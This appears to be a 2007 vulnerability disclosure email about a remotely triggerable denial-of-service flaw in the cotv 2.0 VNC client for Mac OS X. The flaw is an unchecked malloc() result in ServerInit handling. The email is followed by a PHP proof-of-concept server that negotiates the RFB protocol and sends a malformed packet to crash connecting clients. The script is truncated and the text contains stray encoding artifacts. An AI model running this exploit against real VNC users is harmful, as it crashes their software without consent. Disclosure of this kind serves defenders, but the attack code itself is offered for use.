hi,
i wish to inform you that cotv 2.0 (a vnc client for maxosx) available at http://sourceforge.net/projects/cotvnc/ is prone to a remotely exploitable denial of service vulnerability because it fails to validate the content of ServerInit packets. 
A ServerInit packet contains the server's computer name and its size in the following format:
[...]
where:=09
computer-name-size is 4bytes interpreted as unsigned int rapresentig the size in bytes of the computer name
and
computer-name is a variable size array of bytes rapresentig the computer name

when cotv recives a ServerInit packet, it first allocates a buffer by passing computer-name-size to malloc() and then it copies computer-name to the newly allocated memory. 
The problem is that cotv doesn't validate the pointer returned by malloc() so it's possible that a NULL-pointer will be used as the first parameter of memcpy() causing the program to crash.

a proof-of-concept is attached, run that php script and connect cotv to it with a blank password (disable vnc auth)

hope it helps,
cheers
-poplix




# BOF
(http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference 
02-02-2007   poplix [@] papuasia.org
listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
	if(substr($i,0,6) == "RFB 00") break;
=09
=09
print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024)) 
	if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);


socket_close($cotv);

socket_close($ser);

print "done\n";
?>
# EOF